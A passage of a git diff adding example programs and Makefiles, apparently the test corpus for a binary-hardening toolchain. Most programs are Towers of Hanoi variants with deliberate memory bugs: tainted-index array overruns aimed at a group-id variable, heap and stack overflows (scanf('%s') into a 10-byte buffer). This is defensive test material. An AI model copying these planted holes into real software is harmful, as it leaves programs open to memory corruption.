+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+
+	return 0;
+}
+
diff --git a/peasoup_examples/examples/hanoi_overrun_tainted.c b/peasoup_examples/examples/hanoi_overrun_tainted.c
new file mode 100644
index 0000000000000000000000000000000000000000..a34f6926573442893310d5a0d55fbb08d897fcb6
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_overrun_tainted.c
@@ -0,0 +1,80 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	int arr_count;	/* tainted */
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+	printf("Enter offset to array: ");
+	scanf("%d", &arr_count);
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, arr_count); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hanoi_overrun_taintedenv.c b/peasoup_examples/examples/hanoi_overrun_taintedenv.c
new file mode 100644
index 0000000000000000000000000000000000000000..1297464ec2c7f480ebbef8fe1d80023567e7ffce
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_overrun_taintedenv.c
@@ -0,0 +1,79 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	int arr_count;	/* tainted */
+	
+
+	if (argc != 3) 
+	{ 
+		fprintf(stderr, "usage: %s N M\n", argv[0]); exit(1); 
+	} 
+
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+	arr_count = strtol(argv[2], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, arr_count); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hanoi_stack_overrun.c b/peasoup_examples/examples/hanoi_stack_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..90d8bbe227790956cbd2b0d59471ba8939bd18a2
--- /dev/null
+++ b/peasoup_examples/examples/hanoi_stack_overrun.c
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int *arr=NULL;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	arr=malloc(15*4);
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	free(arr); arr=0;
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/hello.c b/peasoup_examples/examples/hello.c
new file mode 100644
index 0000000000000000000000000000000000000000..3780ac55a9bb1270deaeb1f178915d0fade721ba
--- /dev/null
+++ b/peasoup_examples/examples/hello.c
@@ -0,0 +1,6 @@
+#include <stdio.h>
+
+main()
+{
+	fprintf(stderr, "Hello %d\n", 2);
+}
diff --git a/peasoup_examples/examples/ld_script b/peasoup_examples/examples/ld_script
new file mode 100644
index 0000000000000000000000000000000000000000..41158bb3775207c81d89e07e1db3632fe2968614
--- /dev/null
+++ b/peasoup_examples/examples/ld_script
@@ -0,0 +1,181 @@
+/* Script for -z combreloc: combine and sort reloc sections */
+OUTPUT_FORMAT("elf32-i386", "elf32-i386",
+              "elf32-i386")
+OUTPUT_ARCH(i386)
+ENTRY(_start)
+SEARCH_DIR("/usr/local/toolchain/i686-pc-linux-gnu/lib"); SEARCH_DIR("/usr/local/toolchain/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
+/* Do we need any of these for elf?
+   __DYNAMIC = 0;    */
+SECTIONS
+{
+  /* Read-only sections, merged into text segment: */
+  . = 0x08048000 ;
+  .interp         : { *(.interp) }
+  .hash           : { *(.hash) }
+  .dynsym         : { *(.dynsym) }
+  .dynstr         : { *(.dynstr) }
+  .gnu.version    : { *(.gnu.version) }
+  .gnu.version_d  : { *(.gnu.version_d) }
+  .gnu.version_r  : { *(.gnu.version_r) }
+  .rel.dyn        :
+    {
+      *(.rel.init)
+      *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*)
+      *(.rel.fini)
+      *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*)
+      *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*)
+      *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*)
+      *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*)
+      *(.rel.ctors)
+      *(.rel.dtors)
+      *(.rel.got)
+      *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*)
+    }
+  .rela.dyn       :
+    {
+      *(.rela.init)
+      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
+      *(.rela.fini)
+      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
+      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
+      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
+      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
+      *(.rela.ctors)
+      *(.rela.dtors)
+      *(.rela.got)
+      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
+    }
+  .rel.plt        : { *(.rel.plt) }
+  .rela.plt       : { *(.rela.plt) }
+  .init           :
+  {
+    KEEP (*(.init))
+  } =0x90909090
+  .plt            : { *(.plt) }
+  .text           :
+  {
+    *(.text .stub .text.* .gnu.linkonce.t.*)
+    /* .gnu.warning sections are handled specially by elf32.em.  */
+    *(.gnu.warning)
+  } =0x90909090
+  .fini           :
+  {
+    KEEP (*(.fini))
+  } =0x90909090
+  PROVIDE (__etext = .);
+  PROVIDE (_etext = .);
+  PROVIDE (etext = .);
+. = . + 0x1000000;
+  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
+  .rodata1        : { *(.rodata1) }
+  .eh_frame_hdr : { *(.eh_frame_hdr) }
+  /* Adjust the address for the data segment.  We want to adjust up to
+     the same address within the page on the next page up.  */
+  . = DATA_SEGMENT_ALIGN(0x1000, 0x1000);
+  /* Ensure the __preinit_array_start label is properly aligned.  We
+     could instead move the label definition inside the section, but
+     the linker would then create the section even if it turns out to
+     be empty, which isn't pretty.  */
+  . = ALIGN(32 / 8);
+  PROVIDE (__preinit_array_start = .);
+  .preinit_array     : { *(.preinit_array) }
+  PROVIDE (__preinit_array_end = .);
+  PROVIDE (__init_array_start = .);
+  .init_array     : { *(.init_array) }
+  PROVIDE (__init_array_end = .);
+  PROVIDE (__fini_array_start = .);
+  .fini_array     : { *(.fini_array) }
+  PROVIDE (__fini_array_end = .);
+. = 0x44444444;
+
+  .data           :
+  {
+    *(.data .data.* .gnu.linkonce.d.*)
+    SORT(CONSTRUCTORS)
+  }
+  .data1          : { *(.data1) }
+  .tdata          : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
+  .tbss           : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
+  .eh_frame       : { KEEP (*(.eh_frame)) }
+  .gcc_except_table   : { *(.gcc_except_table) }
+  .dynamic        : { *(.dynamic) }
+  .ctors          :
+  {
+    /* gcc uses crtbegin.o to find the start of
+       the constructors, so we make sure it is
+       first.  Because this is a wildcard, it
+       doesn't matter if the user does not
+       actually link against crtbegin.o; the
+       linker won't look for a file to match a
+       wildcard.  The wildcard also means that it
+       doesn't matter which directory crtbegin.o
+       is in.  */
+    KEEP (*crtbegin.o(.ctors))
+    /* We don't want to include the .ctor section from
+       from the crtend.o file until after the sorted ctors.
+       The .ctor section from the crtend file contains the
+       end of ctors marker and it must be last */
+    KEEP (*(EXCLUDE_FILE (*crtend.o ) .ctors))
+    KEEP (*(SORT(.ctors.*)))
+    KEEP (*(.ctors))
+  }
+  .dtors          :
+  {
+    KEEP (*crtbegin.o(.dtors))
+    KEEP (*(EXCLUDE_FILE (*crtend.o ) .dtors))
+    KEEP (*(SORT(.dtors.*)))
+    KEEP (*(.dtors))
+  }
+  .jcr            : { KEEP (*(.jcr)) }
+  .got            : { *(.got.plt) *(.got) }
+  _edata = .;
+  PROVIDE (edata = .);
+  __bss_start = .;
+  .bss            :
+  {
+   *(.dynbss)
+   *(.bss .bss.* .gnu.linkonce.b.*)
+   *(COMMON)
+   /* Align here to ensure that the .bss section occupies space up to
+      _end.  Align after .bss to ensure correct alignment even if the
+      .bss section disappears because there are no input sections.  */
+   . = ALIGN(32 / 8);
+  }
+  . = ALIGN(32 / 8);
+  _end = .;
+  PROVIDE (end = .);
+  . = DATA_SEGMENT_END (.);
+  /* Stabs debugging sections.  */
+  .stab          0 : { *(.stab) }
+  .stabstr       0 : { *(.stabstr) }
+  .stab.excl     0 : { *(.stab.excl) }
+  .stab.exclstr  0 : { *(.stab.exclstr) }
+  .stab.index    0 : { *(.stab.index) }
+  .stab.indexstr 0 : { *(.stab.indexstr) }
+  .comment       0 : { *(.comment) }
+  /* DWARF debug sections.
+     Symbols in the DWARF debugging sections are relative to the beginning
+     of the section so we begin them at 0.  */
+  /* DWARF 1 */
+  .debug          0 : { *(.debug) }
+  .line           0 : { *(.line) }
+  /* GNU DWARF 1 extensions */
+  .debug_srcinfo  0 : { *(.debug_srcinfo) }
+  .debug_sfnames  0 : { *(.debug_sfnames) }
+  /* DWARF 1.1 and DWARF 2 */
+  .debug_aranges  0 : { *(.debug_aranges) }
+  .debug_pubnames 0 : { *(.debug_pubnames) }
+  /* DWARF 2 */
+  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
+  .debug_abbrev   0 : { *(.debug_abbrev) }
+  .debug_line     0 : { *(.debug_line) }
+  .debug_frame    0 : { *(.debug_frame) }
+  .debug_str      0 : { *(.debug_str) }
+  .debug_loc      0 : { *(.debug_loc) }
+  .debug_macinfo  0 : { *(.debug_macinfo) }
+  /* SGI/MIPS DWARF 2 extensions */
+  .debug_weaknames 0 : { *(.debug_weaknames) }
+  .debug_funcnames 0 : { *(.debug_funcnames) }
+  .debug_typenames 0 : { *(.debug_typenames) }
+  .debug_varnames  0 : { *(.debug_varnames) }
+}
diff --git a/peasoup_examples/examples/malloc.c b/peasoup_examples/examples/malloc.c
new file mode 100644
index 0000000000000000000000000000000000000000..6652a56dedaf1f72104cafa0a490fcb09bbab477
--- /dev/null
+++ b/peasoup_examples/examples/malloc.c
@@ -0,0 +1,78 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+	static int *malloc_ptr=NULL;
+
+
+	if(malloc_ptr)
+	{
+		free(malloc_ptr);
+		malloc_ptr=0;
+	}
+	else
+	{
+		malloc_ptr=malloc(((1+N)*(from+1)*(1+to)*(1+using)) << 4);
+	}
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/memcpy.c b/peasoup_examples/examples/memcpy.c
new file mode 100644
index 0000000000000000000000000000000000000000..8558716e86d892ab5a773a6ad94cbf1234bd804d
--- /dev/null
+++ b/peasoup_examples/examples/memcpy.c
@@ -0,0 +1,28 @@
+
+char b[100];
+
+
+extern void memcpy(int,int,int);
+
+main()
+{
+	char a[100];
+
+	foo(a,b);
+	printf("", a);
+}
+
+foo(char *c, char* d)
+{
+
+	int i;
+	int offset=c-d;
+	for(i=0;i<100;i++)
+	{
+		*(d+offset)=*(d);
+		d++;
+	}
+
+
+}
+
diff --git a/peasoup_examples/examples/myhanoi.c b/peasoup_examples/examples/myhanoi.c
new file mode 100644
index 0000000000000000000000000000000000000000..d55fc4af89ef41220057d03bc9e0bb8bebc3957c
--- /dev/null
+++ b/peasoup_examples/examples/myhanoi.c
@@ -0,0 +1,69 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	strtok(0);
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/print_ptr.c b/peasoup_examples/examples/print_ptr.c
new file mode 100644
index 0000000000000000000000000000000000000000..447b8c65f5a20ba5990fc2eb0b52f7df7f4b947d
--- /dev/null
+++ b/peasoup_examples/examples/print_ptr.c
@@ -0,0 +1,30 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+int main (int argc, char **argv) 
+{ 
+	int *p;
+	char * _itoa_word (unsigned long *value, char *buflim, unsigned int base, int upper_case);
+	char buf[100];
+
+
+
+
+	p=malloc(800);
+
+        printf("Hanoi %d, arr[i]=%d\n", p, p);
+ 
+
+	free(p);
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/examples/recover_example.c b/peasoup_examples/examples/recover_example.c
new file mode 100644
index 0000000000000000000000000000000000000000..f2f24a957a13d09eb15e92f25edf49539ed628fc
--- /dev/null
+++ b/peasoup_examples/examples/recover_example.c
@@ -0,0 +1,29 @@
+#include <stdio.h>
+
+void fred(char* ptr) 
+{
+	scanf("%s", ptr);
+}
+
+void bar(char* ptr)
+{
+	int i;
+	for(i=0;i<10;i++)
+		fred(ptr);
+}
+
+int foo()
+{
+	char ptr[10];
+	bar(ptr);
+	return 1;
+
+}
+
+int main()
+{
+	if(foo())
+		printf("Success");
+
+	return 0;
+}
diff --git a/peasoup_examples/manifest.txt b/peasoup_examples/manifest.txt
new file mode 100644
index 0000000000000000000000000000000000000000..1fa72c089a6ba8f5c5fabfd8156e7ea33ed01274
--- /dev/null
+++ b/peasoup_examples/manifest.txt
@@ -0,0 +1,4 @@
+directory tools ps
+directory tools/db ps
+directory tools/eh_frame_tools ps
+directory tools/cfar_configs cfar
diff --git a/peasoup_examples/stock_examples/Makefile b/peasoup_examples/stock_examples/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..885bbf0a1e770482a7e8293274042a59abd837fe
--- /dev/null
+++ b/peasoup_examples/stock_examples/Makefile
@@ -0,0 +1,103 @@
+
+CC=gcc
+CXX=g++
+CFLAGS=-O2
+
+.SUFFIXES: .stock .protected
+
+protected_exes=awk.protected bzip2.protected cal.protected cat.protected clear.protected date.protected df.protected diff.protected du.protected expr.protected find.protected grep.protected hostname.protected ipcs.protected less.protected ls.protected nasm.protected ps.protected sdiff.protected wc.protected whoami.protected xeyes.protected xcalc.protected xpdf.protected lighttpd.protected xpdfsrc.protected gcc-4.4.protected
+
+ilr=on
+stratafy_with_pc_confine=on
+create_binary_script=on
+heaprand=on
+double_free=on
+pc_confine=on
+isr=off
+meds_static=on
+pdb_register=on
+pdb_create_tables=on
+meds2pdb=on
+fill_in_cfg=on
+fill_in_indtargs=on
+clone=on
+fix_calls=on
+p1transform=on
+integertransform=on
+ilr=on
+generate_spri=on
+spasm=on
+concolic=on
+
+
+all: env_check  ${protected_exes}
+
+.PHONY: env_check 
+
+
+
+.stock.protected: .PHONY
+	${PEASOUP_HOME}/tools/ps_analyze.sh $< $@ \
+                --step ilr=${ilr}\
+                --step stratafy_with_pc_confine=${stratafy_with_pc_confine}\
+                --step create_binary_script=${create_binary_script}\
+                --step heaprand=${heaprand}\
+                --step double_free=${double_free}\
+                --step pc_confine=${pc_confine}\
+                --step isr=${isr}\
+                --step meds_static=${meds_static}\
+                --step pdb_register=${pdb_register}\
+                --step pdb_create_tables=${pdb_create_tables}\
+                --step meds2pdb=${meds2pdb}\
+                --step fill_in_cfg=${fill_in_cfg}\
+                --step fill_in_indtargs=${fill_in_indtargs}\
+                --step clone=${clone}\
+                --step concolic=${concolic}\
+                --step fix_calls=${fix_calls}\
+                --step p1transform=${p1transform}\
+                --step integertransform=${integertransform}\
+                --step generate_spri=${generate_spri}\
+                --step spasm=${spasm}\
+
+
+
+$(protected_exes): ${STRATA}/lib/x86_linux/libstrata.a .PHONY
+
+
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+	@echo ----------------------------------------------------------
+	@echo -------- Note that ISR is off by default here ------------
+	@echo ----------------------------------------------------------
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	rm -f *.protected
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
+
diff --git a/peasoup_examples/stock_examples/bzip2.stock b/peasoup_examples/stock_examples/bzip2.stock
new file mode 100755
index 0000000000000000000000000000000000000000..8bc54a6c854081fa38a9c9bf50edc31ac9a362cb
Binary files /dev/null and b/peasoup_examples/stock_examples/bzip2.stock differ
diff --git a/peasoup_examples/stock_examples/xpdf.stock.REMOVED.git-id b/peasoup_examples/stock_examples/xpdf.stock.REMOVED.git-id
new file mode 100644
index 0000000000000000000000000000000000000000..3614a4da15b6bd999423013cb5f0fc76ea7cd337
--- /dev/null
+++ b/peasoup_examples/stock_examples/xpdf.stock.REMOVED.git-id
@@ -0,0 +1 @@
+6dd351d6e921729adda553d013f0f8205f101b31
\ No newline at end of file
diff --git a/peasoup_examples/stock_examples/xpdfsrc.stock.REMOVED.git-id b/peasoup_examples/stock_examples/xpdfsrc.stock.REMOVED.git-id
new file mode 100644
index 0000000000000000000000000000000000000000..674c81ba30b48989c072aade79b166e421ab7100
--- /dev/null
+++ b/peasoup_examples/stock_examples/xpdfsrc.stock.REMOVED.git-id
@@ -0,0 +1 @@
+51a8d786aeb88fe659a2031d9d16d11e575f47d0
\ No newline at end of file
diff --git a/peasoup_examples/stock_examples64/Makefile b/peasoup_examples/stock_examples64/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..fbfdb2d24444a88ec1aaa8728294e79308af41a9
--- /dev/null
+++ b/peasoup_examples/stock_examples64/Makefile
@@ -0,0 +1,63 @@
+
+CC=gcc
+CXX=g++
+CFLAGS=-O2
+
+.SUFFIXES: .stock .protected
+
+%protected_exes=awk.protected bzip2.protected cal.protected cat.protected clear.protected date.protected df.protected diff.protected du.protected expr.protected find.protected grep.protected hostname.protected ipcs.protected less.protected ls.protected nasm.protected ps.protected sdiff.protected wc.protected whoami.protected xeyes.protected xcalc.protected xpdf.protected lighttpd.protected xpdfsrc.protected gcc-4.4.protected
+
+protected_exes=bzip2.protected gedit.protected grep.protected less.protected synaptic.protected xcalc.protected xedit.protected xeyes.protected
+
+all: env_check  ${protected_exes}
+
+.PHONY: env_check 
+
+
+
+.stock.protected: .PHONY
+	${PEASOUP_HOME}/tools/ps_analyze64.sh $< $@   
+
+$(protected_exes): ${STRATA}/lib/x86_64_linux/libstrata.a .PHONY
+
+
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+	@echo ----------------------------------------------------------
+	@echo -------- Note that ISR is off by default here ------------
+	@echo ----------------------------------------------------------
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	rm -f *.protected
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh; fi
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
+
+
+
diff --git a/peasoup_examples/stock_examples64/bzip2.stock b/peasoup_examples/stock_examples64/bzip2.stock
new file mode 100755
index 0000000000000000000000000000000000000000..6638ddfd405c4b0fb59deb0ec4c41030c4589603
Binary files /dev/null and b/peasoup_examples/stock_examples64/bzip2.stock differ
diff --git a/peasoup_examples/stock_examples64/gedit.stock b/peasoup_examples/stock_examples64/gedit.stock
new file mode 100755
index 0000000000000000000000000000000000000000..ef2fba43e6048777634f678ac32a1c822e850954
Binary files /dev/null and b/peasoup_examples/stock_examples64/gedit.stock differ
diff --git a/peasoup_examples/stock_examples64/grep.stock b/peasoup_examples/stock_examples64/grep.stock
new file mode 100755
index 0000000000000000000000000000000000000000..73b5d5797cb571b1e3fe805aa77df020abada013
Binary files /dev/null and b/peasoup_examples/stock_examples64/grep.stock differ
diff --git a/peasoup_examples/stock_examples64/less.stock b/peasoup_examples/stock_examples64/less.stock
new file mode 100755
